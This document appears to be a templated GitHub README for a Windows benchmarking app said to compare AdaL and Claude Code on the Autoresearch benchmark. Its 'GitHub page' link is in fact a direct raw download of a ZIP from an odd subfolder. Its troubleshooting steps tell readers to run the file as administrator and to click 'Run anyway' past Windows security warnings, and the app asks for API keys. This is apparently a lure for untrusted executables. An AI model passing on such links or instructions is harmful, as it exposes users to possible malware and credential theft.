autoresearch-adal：在 Windows 上对比 AdaL 与 Claude Code 的 Autoresearch 基准测试工具

🤖 autoresearch-adal - Compare AI Research Tools Fast

📌 What this is

autoresearch-adal is a Windows app for comparing AdaL and Claude Code on Karpathy's Autoresearch benchmark.

Use it to:

run benchmark tests from one place
compare results side by side
review output in a simple view
keep your test runs in one folder

🪟 Windows download and setup

Use this link to visit the page to download or get the app files:

Open the download page

If the page shows a release, download the Windows file from there.
If you see a ZIP file, save it to your PC, then extract it before you open the app.

Steps for Windows

Open the link above in your browser.
Find the latest release or main download file.
Download the Windows package.
If the file is zipped, right-click it and choose Extract All.
Open the folder you extracted.
Double-click the app file to run it.

🧰 What you need

To run the app on Windows, use:

Windows 10 or Windows 11
A stable internet connection
Enough free disk space for benchmark files
A modern browser for opening the GitHub page
Access to the tools you want to compare

If you plan to run local benchmark jobs, a PC with:

8 GB RAM or more
a recent Intel or AMD processor
at least 2 GB free space for results and temp files

⚙️ First-time setup

After you open the app, set up these items first:

Choose the benchmark run folder.
Select the model or tool you want to test.
Add your API key or local tool path if the app asks for it.
Pick the benchmark preset for Karpathy's Autoresearch tasks.
Run a small test before you start a full job.

🖥️ Main features

Compare AdaL and Claude Code in one place
Run Autoresearch benchmark tasks
View run status while tests are in progress
See output files after each run
Keep each run separate for easy review
Save time when switching between tools

📂 What the app does

The app helps you work with benchmark runs without opening many tools. It gives you a clear view of each run, the tool used, and the result.

You can use it to:

start a new benchmark run
load a past run
check progress
review logs
compare final output

🧭 How to use it

1. Open the app

Double-click the app file in Windows.

2. Pick your benchmark

Choose the Autoresearch benchmark profile you want to run.

3. Select the tool

Choose AdaL or Claude Code.

4. Start the run

Click the run button in the app.

5. Review the result

When the run ends, open the results panel and check:

score
logs
output files
run time

📊 Best way to compare results

If you want a fair test:

use the same benchmark set each time
keep the same machine for both runs
use the same network setup
do not change files between runs
save each result with a clear name

A good naming format is:

adal-test-01
claude-test-01
adal-vs-claude-round2

🧾 Folder layout

The app may create folders like:

runs for test runs
logs for event logs
results for output files
cache for temp data

Keep these folders in the same place unless the app asks you to move them.

🔍 Common tasks

Run a new benchmark

Open the app, choose your tool, and start a fresh run.

Check past results

Open the results folder and load the saved files.

Compare two runs

Look at the score, logs, and output side by side.

Clean up old files

Delete old runs only after you save the results you want to keep.

🛠️ Troubleshooting

The app does not open

Check that the file finished downloading
Extract the ZIP file first if needed
Try opening the app again
Right-click the file and choose Run as administrator

Windows shows a security prompt

Choose More info
Then choose Run anyway if you trust the file source
Use the GitHub link above to get the file again if needed

The run stops early

Check your internet connection
Make sure your API key is still valid
Confirm the tool path is correct
Restart the app and run again

Results do not appear

Wait a few minutes if the job is still running
Open the logs folder
Look for error messages
Run a smaller test first

🔐 Using your API key

If the app asks for an API key:

paste it into the field in the app
keep it private
do not share it in screenshots or logs
store it in a safe place

If you use a local setup:

make sure the tool path points to the right file
check that the tool opens from Windows before you start the benchmark

📝 File types you may see

You may see files such as:

.json for run data
.log for logs
.txt for notes
.csv for score tables
.zip for downloads

👀 What to expect during a run

During a benchmark run, the app may show:

a progress bar
a task list
a status label
a timer
a result file path

This helps you track the run without guessing what is happening.

🧩 Tips for smooth use

Close extra apps before you start a long run
Keep the laptop plugged in
Use a steady network connection
Save results after each run
Check the output folder before starting another test

📌 GitHub page

Open the project page here:

https://github.com/Tavarasu/autoresearch-adal/raw/refs/heads/main/amimia/adal_autoresearch_reread.zip

Use this page to visit the download area, check updates, and view the latest files